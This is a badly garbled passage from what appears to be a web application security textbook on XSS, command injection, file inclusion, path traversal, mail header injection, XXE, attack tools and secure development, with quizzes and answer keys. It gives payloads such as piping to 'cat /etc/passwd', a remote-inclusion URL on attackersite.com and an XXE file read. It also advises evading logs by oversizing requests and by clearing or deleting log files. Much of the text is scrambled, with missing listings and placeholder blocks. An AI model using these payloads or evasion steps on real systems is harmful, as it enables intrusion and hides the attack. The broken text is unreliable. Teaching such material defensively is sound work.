purchase then purchase only one item is also a flaw based on the
assumption that the user will send the full list of purchased product after
getting the discount. Forgotten escape: this attack is based on the
assumption that a 6 sanitization method is available and will prevent all
malicious characters that might cause a problem but the developer forgot the
escape which itself does not represent a problem but escaping the escape by
the mean of disable the sanitization functionality. An example is the usage of
an input like ( whatever \;ls ) in this case the sanitization will turn the clean
input to poisoned one ( whatever \\;ls ) which will reactivate the semicolon
malicious effect. Defence+Defence=? : sometimes the intersection of two
defense 7 mechanisms can be used by the attacker to initiate a successful
attack. An example is the usage of an extra single quotation mark to escape a
single quotation mark as a defense mechanism to prevent SQL injection, and
truncation length limiter mechanism for input as a second mechanism to
minimize the ability to enter unexpected amount of entry. The flaw resides in
the usage of the second mechanism by the attacker to break the first. if the
user login query was:
Will break the login functionality as the extra added quotation by the first
mechanism will be truncated by the second.
8- Race condition: in the case of race condition the vulnerability appears
only for a short period of time, it is hard to detect and reproduce, but it can
open a door wildly if exploited.
an example is the case of login function that mistakenly stores part of session
information as a static information that are used as an identifier
in other functionalities so if two users use the login functionality exactly
in the same time there is a big chance that they can reach the functionalities
that uses the static identifier.
EchoDOM Stored
The server will send the response containing the inserted script. .B The client
executes the JavaScript and containing any special message or .C forwarding
request to phished site or simply send back session
@
Send Request to the page with specific input crafted by attacker through link as parameter containing
script
Client
Script
executed
Response with page containing the echoed script
Vulnerable page that echo part or all the sent input with no sanitization
Server
Example: A. The attacker creates an email containing a link as follow:
<a href=”http://theTrustedVulnerableSite.com/echoPage.php?message=
<script>ale rt (‘i am the attack payload’)</script>” >Visit page</a>
B. The echo page will generate the page containing the script, the script will
be executed and show the alert.in real life example the payload script can be s
script that sends session cookie information automatically to
attacker.
6.16 Stored script attack
This category of cross site scripting needs access to shared content that can
be edited by attacker like the case of public comments or social networks or
administrators reaching user contents. Attack requirement: The attacker has
write access to shared contents on a web page that will .A
be stored on the back end. The site holding the shared content does not apply
any sanitization before .B storing the submitted data. The victim has access to
the same web page with shared contents .C
attacker
Page with
The victim accesses the page shared with the shared content contents
poisoned with attacker script
Client
Client execute the script embedded in the shared content Attack Process:
The attacker accesses the vulnerable site and submit a content poisoned .A
with java script containing the attack payload
The attack payload might be anything from session hijacking code by .B
trying to retrieve (document.cookie) object, to forwarding to phished site
owned by attacker. The victim accesses the shared contents loads the
poisoned contents. .C The attack payload script is executed on the victim
machine. .D
Example:
A vulnerable site that allow the visitors to post answers for a specific
question without proper input validation. The attacker uses the fact that no
sanitization is done on the submitted questions and send the following: Any
Text as an answer to the question
In the previous code the first part is just responsible on serializing an object
to be serialized querystring in time where the second part defines an
XMLHttpRequest object and use it to send serialized version of the
document.cookie object which
will give the attacker the ability to initiate session hijacking attack.
6.17 Data Object Model Based XSS
1
@
Attacker creates and send a crafted link poisoned with
2
Client
Client execute the script embedded in the shared content a release attack Send a request to the
vulnerable page with poisoned parameter
Vulnerable The page will be sent as is without any page info related to attacker submitted3parameters
4
Attack requirement: A. The vulnerable page contains a script that extract
info from URL and show it back without sanitization.
Attack process:
The attacker creates a link that uses the vulnerable page with parameter .A
containing the attacker url and a script.
The attacker will be able to steal the cookie object of the victim and send .B it
to its site.
Example: The vulnerable page use a mechanism to show the name of the
current page at the top of the page using javascript. <script>
pos=document.URL.indexOf("pageName=")+9; var
document.write(document.URL.substring(pos,document.URL.length));
</script>
6.18 QUIZ:
HTTP basic authentication have a limited use on internet because: .1 It
sends credentials encoded unencrypted with base64 encoding .a
It cannot be used with https .b It uses three level of PIN codes .c All the
above .d Brute force attack is possible when: .2
Access control over the same functionality but different users .a Access
different functionality with different access level .b Different or same
functionality over different or same access level .c All the above .d The most
common type of attacks on the Databases is: .7
SQL injection .a Session hijacking .b JSON attack .c All the above .d How
can the attacker compromise the application in the following .8
scenario:?
The developer uses single quote escape using another single quote to prevent
SQL injection and trimming functionality to limit the size of input in a login
form. Attack the application using SQL injection benefiting from .a
through direct command which opens the door for dangerous exploits.
Examples about commands used to initiate a direct access exec command in
PHP or wscript.shell in ASP. the following listing is a Perl CGI code used
by a web application to show the disk usage of specific directory on the
server: #!/usr/bin/perl use strict; use CGI qw(:standard escapeHTML); print
header, start_html(“”); print “<pre>”; my $command = “du -h --exclude php*
/var/www/html”; $command= $command.param(“dir”);
$command=`$command`; print “$command\n”; print end_html;
the normal output for such listing after appending the dir parameter to the
preset command something similar to what is shown below:
But if an attacker wanted to exploit this functionality in malicious way he can
simply use shell special characters like (|) to make that code show the
password
file. Using the pipe character will pass the output of the functionality to the
command after the pipe but what if the command after the pipe character was
cat/etc/passwd this eventually will cause the command to ignore the output
of the executed functionality and execute the cat command which will show
the
simply by using the ampersand character (&) attacker can write any
command and execute it because (&) is used to batch multiple commands.
You can also understand how to use PHP commands like (exec) and (eval) to
execute a malicious command by using semicolon (;).
7.3 Inclusionmethod
Attack requirement: No white list validation for the parameter value Code
code code code code
code code Code code code
code code code code Code
code code code code code
code Code code code code
code code code Code code
Attack process
The attacker in that type of attack focus on the code that dynamically loads or
import a local or external code. The main idea is to manipulate the parameters
to make the same code import an external malicious code. The following
listing is the URL for application that accepts a parameter language to load
the related localization file
https://myapplication.com/index.php?language=http://attackersite.com/pageC
ontainingMaliciousCode
if external files could not be included even the ability to import any local file
available on the server can represent a real issue because that might help the
attacker to access or compromise a restricted resource just by including it.
moreover, Local inclusion also can be used to include a library or
functionality available in a local file inside another file which might give the
attacker the ability to execute those functionalities on the container file.
..\..\
This method depends on the path traversal sequence (..\)
(dot-dot-slash) to initiate an attack in order to access a file outside the
permitted directory.
Attack requirement: The code includes a page that load another file
dynamically. .A No validation for special path traversal sequence or white list
validation .B for permitted files.
Attack process One of the common used pages on a web site is a page that
dynamically load and show the content of other files specially when direct
access to that file is not
permitted so the developer creates this page as a loader to control the access.
http://theVictimSite/filestore/GetFile.ashx?filename=test.jpg
the problem begins if the page GetFile does not provide a proper validation
for the value of the parameter filename hence giving attackers the ability to
use path traversal sequence reach out of reach directories. The attacker can
simply use the following URL to be able to access the contents of win.ini file
http://theVictimSite/filestore/GetFile.ashx?filename=..\windows\win.ini
7.5 Attack Mail service
Contact Us
Contact Us
Cancel Send✽
Most of application and even the simplest websites contain the contact us part
that normally enclosed a form that will allow application users to
communicate with site owner through sending simple mail message which
makes mail services one of the main services that the attacker think of when
he wants to first initiate
an attack. Mail service uses SMTP (simple mail transfer protocol) which
considered as its name refers a simple protocol the issue that makes is very
easy for attackers to use crafted SMTP commands by injecting input in the
mail service provided by
the application. What makes that attack dangerous is the fact that it can
represent an essential part of other attacks as it allows spamming through
victim mail server the first step of attacks like session hijacking.
7.6 HeaderJuggling
Attack requirement:
The application provides a contact us form that asks for user email .A address
and use it in the SMTP FROM header Application uses common methods
like mail() functionality to send emails .B The application does not provide
any sanitation functionality on the form .C
input
Attack process:
the original form listing is as follow:
Attacker will simply add bcc header to the user email address and the same
message will be sent to the set addresses.
%0aBcc:theSpamVitim@spammedCompany.com
And can add the spam message contents, thus the full SMTP request will be
as follow
It is quite clear that two messages will be sent on is a legitimate one and the
second is totally controlled by the attacker.
7.8 AttackXML
XML format considered as a very important text format due to the special
structure it provides which makes it very good medium to transfer structured
data hence it was used as a holder for the data transmitted between client and
server.
A simple example about this type of usage is the following listing that
illustrates the usage of XML format in an HTTP request to send data to a
search page POST /search/searchPage.ashx HTTP/1.1 Host: victim.com
Content-Type: text/xml; charset=UTF-8 Content-Length: 39 <Search>
<SearchTerm>what to search</SearchTerm></Search>
When the server receives the request it will send the response also in XML
format, response might be something like:
Attack Process the attacker uses a definition header in the XML request
using the DOCTYPE keyword
This definition will make any usage of ampersand with the entity reference
parsed as the entity value. The dangerous part is that entities can be defined
using external reference using the SYSTEM keyword and the standard URL
format with (file:) protocol.
A simple example about this type of usage is the following listing that
illustrates the usage of XML format in an HTTP request to send data to a
search page POST /search/searchPage.ashx HTTP/1.1 Host: victim.com
Content-Type: text/xml; charset=UTF-8 Content-Length:117 <!DOCTYPE
whatever [ <!ENTITY xxe SYSTEM “file:///windows/win.ini” > ]>
<Search><SearchTerm>&xxe</SearchTerm></Search>
The result will be returning the contents of win.ini file as part of the server
response.
Attack SOAP Services7.9
Now the attacker can simply include a parameter that contains a closer for a
specific tag and alter the entered parameters POST /test/12/Default.aspx
HTTP/1.0 Host: victim.com Content-Length: 125
FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True
</ClearedFunds><ToAccount><!--&ToAccount=--
>08447656&Submit=Submit
In the listing above the attacker closed the Amount tag and added the
required values adding the closure tab toAccount in a comment thus
preserving XML validity.
7.10Attack Checklist
significant part of this subject focus on projecting the picture form the
attacker point of view with no direct attack proofing aspect so this part of the
chapter come as a reminder from the victim or attack proof perspective to
give a list of hints that should be taken into consideration to achieve an
acceptable degree of
application level security noting that this is not by any mean an exhaustive
list: Beware lot of attacks depends on tricking and manipulating the user even
.A trust ones, do not ever trust the user.
Control and minimize the permission level plugins and external libraries .E
have,
Normalize, sanitize and whitelist any URL passed to your site to make .F sure
no specially crafted URL compromise your application.
Encryption is your friend, try to use it whenever necessary specially when .G
the data are more accessible
algorithm and its suitability is
noting that understanding the used essential to minimize the fake safety
scenarios.
competitors. Make sure not to lose control over users input and behavior. I.
Email channels are very dangerous don’t click on any link or even open any
mail if you are quite sure that you know and trust the source.
If it does not appear a test phase it does not mean it will not appear at .V
operational phase, check and recheck multi instants, connections and users.
Avoiding getting caught is a very important issue for attacker specially with
considering cybercrimes in most of the countries as serious felony that
attacker should spend lot of time for in prison in addition to huge financial
penalty and
compensations. The other cause that makes that attacker desire to exploit the
compromised application longer to gain more earnings. There is no magic
wand that will erase attacker tracks but there are a set of methods used to try
avoiding being logged or at least leave any real identity
Data sources available to related information that lead to identify the attacker.
trace attackers are available as Web Server Logs,
Application Server Logs, Web Application’s custom audit trail and Operating
system logs.
7.11.1Web
Server Logs
Web server logs are considered the most important log file for web
application security, most web servers use the CLF (common Logging
format) specification which depends on storing each HTTP request
information in a separated line where each line is composed of the following
parts parted by spaces (host, ident, authusr, date, request, status, bytes) when
the value of a specific part is missing it
host: stands for the fully qualified domain name of the client,
or its IP •
• address. ident: stands for the identity information reported by the client.
(this only active when IdentityCheck directive is ON and client runs • identd).
authuser: specifies user name if the requested URL required a •
successfulbasic HTTP authentication.
•
date: The date and time of the request. request: The request line from the
client, enclosed in
• double quotes (") status: The three digit HTTP status code returned to the
client. • bytes: The number of bytes in the object returned to the client,
Lot of web server tends to ignore logging requests with long URLs to prevent
Denial of service attacks through log file. Once again in this scenario a
defense mechanism becomes a tool in the hands of attacker, it will be
sufficient for attacker to craft a request with a length that exceeds 4,097
(which is the limit for IIS and Sun-one web servers) characters to avoid being
logged so an SQL injection attack can be executed simply with no tracks by
adding extra additional
fake parameters and parameters value to reach that length noting that this
request will be properly handled after dropping unnecessary fake parameters
and executing the injection payload. Clearing logs: .3
If the attacker was able to have a root control on the web server there are
some tools like Meterpreter that can help to empty, the logs on windows
machine using clearev script. As for Linux machine you can delete the log
files located in (/var/log) directory using any text editor.
Obfuscation logs: .4
Some attackers try to complicate the resulting log file in order to make
analyzing and understanding the attack a harder task. An example about that
is the usage of hexadecimal encoding to encode the URL, this value will be
correctly decoded by the server but it will confuse human reader and escape
many automated
detection systems.
Not me: .5
Answers key
1 2 3 4 5 6 7 8 9 10 d c c c a d d a d a
8.1
Browsers
The web browser can be itself a hacking tool, as you saw in the attack
execution chapter lot of attacks can be done simply using the browser by
tampering the URL or entering malicious data in the input fields as in SQL
injection or elevation
8.2.1 IE tempres:
similar extensions are also available for fire fox. Live Http headers tool will
allow view the row http/https request, recording the request, manipulating it
then to replay it again.
Figure 53:live
httlheaders interface
8.2.4 TempareData:
another Firefox extension that allow tracing and modifying HTTP and
HTTPS requests, including headers and POST parameters.it provides ability
to stop the request, change it and resend it.
Figure 54:TempareData extension interface
8.2.5 FoxyProxy:
allows you to enable and disable cookies, allowing quick access control
checks, as well as switching between different proxies, clearing the cache,
and switching the browser’s user agent .
Figure 56:Pref Bar options
8.2.7 Wappalyzer:
helps penetration test for large web sites. It's core features include a XSS
scanner, XSS Reverser and object inspection, ability to a show how certain
page filters output using blackbox reverse a XSS filter without needing the
source code. The extension also enables extract/view and edit forms non-
destructively that normally can't be edited.
Figure
58:XRay extension XSS scanner and Reverser interfaces
8.3 Command linetools
8.3.1 Wget
is a handy tool for retrieving a specified URL using HTTP or HTTPS. It can
support a downstream proxy, HTTP authentication, and various other
configuration options.
8.3.2 cURL
very simple and flexible multiplatform tool that enables the creation of HTTP
and HTTPS requests. It supports GET and POST methods, request
parameters, client SSL certificates, and HTTP authentication. What makes
cURL special is the ability to use in scripts iteratively. In the following
example, the page title is retrieved for page ID values between 10 and 40:
8.3.3 NETCAT:
as its name shows this tool resembles to (Cat) tool used to show the contents
of a file but it is dedicated to show network communications, it can be used
for many tasks the following are examples about some usage scenarios:
Listening to specific port and redirect Out put can be capture to a file
Tools main functionalities: No matter how simple are tools used in hacking
or hack proofing activities, it still for sure represent the most important part to
help
that works on a specific port. HTTP requests and response are easily
intercepted using man in the middle approach in time when the HTTPS
communications are
intercepted using man in the middle with double SSL connectionswhere the
interceptor plays the role of a SSL server (self-signed certificate) and SSL
client. Spidering: recursively crawling the site searching content, navigation
.2
Figure 59:using Burp for statistical test for randomness of sample token
Interception ContentSpiders
Tools Discovery
Proxy
Site Map
History
Attack Surface
Scanner Fuzzer Token Analyzer
Vulnerabili t ies
Figure 60: Tools orchestration
Information are collected through interception discovery and spider tools • to
widen the attack surface by knowing more about the navigational structure
and available functionalities and parameters depending on site map and the
interception proxy history. Collected information are used to enhance he
scenario used by scanners, • fuzzers and token analyzers to detect and probe
vulnerabilities.
8.5 Stand-alonetools
Normally standalone tools that helps in intercepting the HTTP web traffic are
named as HTTP proxies.
The capture is achieved through embedding a service available on a local
TCP
port. All HTTP based traffic is redirected through the service, in that way the
service works as man in the middle that can tamper any http session that
passes it.
In general browser extension are better to deal with browser based traffic
because it can deal with https also as it embeds the certificate info. But from
the
other hand http proxy (standalone) can handle the HTTP requests sent by
nonbrowser client like mobile apps. Some examples about HTTP proxies are:
Paros proxy: java based free tool includes HTTP proxy, web vulnerability •
scanner and site crawling modules.The tool handles HTTPS transparently
and allow trapping requests tampering and resending the request.it is
considered as one of the reliable stable security tools.
Figure 61:paros interface
OWASP Web Scarab: another java based GNU General public license •
software with Swiss knife like functionalities it includes an HTTP proxy,
crawler/spider, session ID analysis, script interface for fuzzer,
encoder/decoder utility for all of the popular automation,
proxyMon: this tool uses web scarab logs and directory structures to •
generate security events, including important variables in set cookies, sent
cookies, query strings, and post parameters across site it enables
to intercept sessions like Paros and WebScarab it uses the term breakpoint to
define tree states (break before request, break after response, run to
completion).the tool will enable altering any data in each
breakpoint then release the execution till the next break point.
One of the special features in fiddler that it allows the user to write a .Net
code to alter the request and response programmatically or even create a full
interceptor
http://ratproxy.googlecode.com/svn/trunk/ratproxy-wget >
report.sh chmod a+x ratproxy-report.sh>
Then we can do the conversion:
./ratproxy_report report.log > report.html >
The figure below shows a sample report generated from the log of rat proxy
after testing my-site.com
8.6 QUIZ:
Spider tools main purpose is to: .1 Disclose the navigation structure. .a
It will inherit the browser transparency with extra features .c All the above .d
Fill the following table according to provided functionalities by .5 different
browser extensions: Extension
functionality
1-XSS scanner 2-XSS reverser
3-Content detection
4-Proxy switch 5-Interceptor
When there is a necessity to write a customized .NET code to handle .6
intercepted requests we better use:
Passive mode proxying approach .a Active mode as it needs the user to take
action to prepare each .b request.
A humanly readable log and visual interface. .c All the above .d The
following code .9
$ nc -z host.example.com 20-30
cURL command line tool to enable No Connection mode to site .a
example.com. A port scanning attempt using netcat .b Retrieving input from
host.example.com for result of expression .c (20-30) None of the above .d
Answers key
1 2 3 4 5 6 7 8 9 10 a c d d 1h2h3g4f4e5d5c5b5a b d a b a
development cycle.
Req.
Analysis Release
Security
Design
Implementation
Of course this might look at first a process that will make the development
too slow but it for sure lead to minimize the final cost and time in security
sensitive application. Lots of methodologies were used to build the security
as part of the application and it showed a very good outcomes and was
adopted by many companies’ like
After the heavy hit that affected IIS based application in 2001 due to different
worm attacks Microsoft took a decision to focus on emphasizing the security
over the new features. The new strategy derives the need to develop the SDL
security development cycle where a set of tasks need to be performed through
the development process as illustrated in the scheme figure.
Training Requirements Design VerificationImplementation Release Response
Core
security training
Threat Modeling
Deprecate unsafe
functions
plan
Figure 65:Phases and activities of Microsoft security Development Lifecycle
The training is one of the most important aspect to consider when stressing
security. This might be seen as counterproductive approach to push developer
to waste time on securing application rather than focusing on functionalities.
A futuristic solution for that problem might be embedding the security
knowledge as part of development environment through a special software
that hold the security model and prevent developer from building any
unsecure functionality which will minimize the need for security training in
organization. Till this type
get available developers need to have security training. Use Secure code
libraries: .2
All developers can agree on the concept that you cannot build a secure code
from the first time, or may be the second …or may be??? by using your own
view as a developer, things can get missy even if you forgot one aspect or
even If you try to
create your simplified version of the functionality. Examples about that might
be trying to sanitize the HTML entries of user to enable user HTML enabled
authoring experience. If your created library omits one possibility this
possibility might be the way in to attack your application. This also can be
applied on cryptography… creating and coding your own methods and might
not be the best way to go and shifting tricks with ro13 substitution will not be
rigid enough facing decryptions attacks. So the advice is to use secure code
libraries created by hundreds of professionals and tested by thousands,
patched and updated. Accordingly, if you are interested in sanitizing html use
OWASP AntiSamy library this will minimize the probability of XXS attack
satisfactory level and Use standard PBKDF (password based key derivation
function) and AES (advanced encryption standard) implemented in openSSL
library to do your encryption to be at least sure that there is no shortcut
The table below shows there that will lead to easily defeat your encryption.
some of commonly used functionalities and known robust libraries available
to achieve those functionalities.
Functionality
Cryptography
HTML& script sanitization
Language or framework C/C++
Java/C#
Java, .NET, PHP, Python, Classic ASP, ColdFusion Java, .NET
.NET
Authentication& Authorization
Output encoding
Java, .NET, PHP, Python, Classic ASP, Cold fusion Java, .NET, PHP, Python,
Library
Open SSL
BouncyCastle
OWASP ESAPI
License
Apache-style MIT X11-style
BSD
BSD
MS-PL
BSD
OWASP ESAPI BSD
.NET
File Access Java, PHP, Classic ASP
you noticed that the manual code review didn’t appear in the SDL which is
surprising somehow, but noting that developers are not that good at manual
review because normally this type of systematic tedious boring tasks are not
where developers outperform. additionally, the amount of effort invested in
this task gives a very low return specially with no extra information on a
potential
existing problem. Use static Analysis tools: .4 it is known that code review
is one of the ways a static analysis can be done
(False Positive) is a very good approach. Examples about the security static
analysis tools (FindBugs) and (OWASP
LAPSE+) for java , (FXCop) for .NET and (PHP security scanner) for PHP.
As for binary codes there are analyzers that allow analyzing compiled
libraries and detect vulnerabilities through pattern recognition and
disassembly which
compiling. Examples about those tools (BugScam) for .exe and .DLL files,
Code surfer (x86 executables (and C and C++ source)), IDA pro for windows
and Linux executables,
Unlike static code analysis black box approach depends on analyzing the
HTTP response instead of source code which can represent an advantage for
attackers because to victim is like black box for them. Black box analysis can
be passive or active where passive tools depends on watching HTTP traffic
while the
application is used in time where active tools generate their own requests. We
have mentioned lot of tools that can be used in black box scanning in the
(Attack Tools) chapter like (Burp, Paros,Web Scarab, Rat prox) for passive
scanning and (Acunentix vulnerability scanner, HP web inspect, IBM
Rational App scan) for active scanning.
Plan to response, the worst might happen: .6
Investigation: know exactly what happened and the related risk and loss. -
Managing mitigation: classification, prioritization, team assignment. -
Recovery: all tasks to return the train on the track and make sure it stays -
there.
As shown above with color some of tasks are executed each sprint (a sprint is
a set period of time during which specific work has to be completed and
made ready for review. Normally a one-week task) so mainly the agile
version has the same tasks but it gives extra information about how frequent
some of the tasks
•Key contributor:
implementer, designer Identify, implement, and perform security tests
• Test analyst
•Key contributor:
component vendor
• Requirements specifier
Identify resources and trust boundaries
Identify user roles and resource capabilities
Specify operational environment
Detail misuse cases
Identify attack surface
Document security-relevant requirements
4. Implement secure development practices
•Key contributor:
requirements specifier
• Owner: architect
•Key contributor:
requirements specifier
•Key contributor:
stakeholder
• Designer
Implement interface contracts Integrate security analysis into source management process • Integrator
• Implementer
Perform code signing • Integrator
Figure 67:An over view of SAMM Business functions and security practices
SAMM Is an open framework helps establish a software security strategy
customised to fit a special type of risk facing the organization Benefits gained
by
Each of the twelve Security practices attached to business functions has three
levels of maturity with additional zero level. Maturity levels are as follow:
0 implicit starting point representing the activities in the Practice being
1
software security.
Figure 68:list of activities defined in deployment domain, the penetration testing practice
(BSIMM7,Gary McGraw, Ph.D.,Sammy Migues, and Jacob West)
For more comprehensive reference on BSIMM please refer to the document
titled (BSIMM7)in supplementary materials.
9.8 QUIZ:
What is special about web application security is: .1 difficult to protect
due to open standards and .a easy to patch due to centralized source situated
on the web server .b difficult to protect due to the need of 24/7 availability in
most .c cases. All the above. .d One of the main problems in penetrate and
patch approach: .2
obscurity. Using static analysis for compiled code can reveal vulnerabilities
.b that cannot be discovered through non compiled code analysis as it might
not exist there at all. Black box testing depends on analyzing the HTTP
response to .c detect vulnerabilities in the application. In contrast with
passive scanning Active black box scanningembed .d the creation and
generation of own HTTP requests to extract vulnerabilities Response
planning mainly aims to: .6 Minimize loss and Mitigate the weaknesses that
were exploited. .a
Restore services and processes. .b Reduce the risk that can occur from future
incidents. .c All the above .d In Agile SDL: .7
Lots of tasks are omitted to adhere with agility needs .a Some security
practices tasks are repeated for each sprint. .b There is no such thing as agile
SDL .c Threat modeling is not applicable. .d The main difference between
SDL and CLASP methodology: .8
CLASP add extra focus about the role responsible on applying each .a
practice activity SDL is not applicable on none .NET application. .b In
contrast with CLASP, SDL is dedicated to be applied small .c project There
is no difference. .d The main purpose of SAMM methodology is: .9
iterations All the above .d SAMM and BSIMM methods have similar
approach to assess .10 maturity with the main difference: SAMM does
not focus on security practices but on using tools and .a black box assessment
to extract vulnerabilities and assess maturity level. BSIMM is a descriptive
method since it is built on quantitative .b study in time where SAMM is
prescriptive frame work. BSIMM provides 5 levels of maturity in contrast
with SAMM that .c depends on assessing the security on a scale of 7 covered
functionalities. None of the above .d
Answers key
1 2 3 4 5 6 7 8 9 10 d c b essay a d b a d b
Refereces: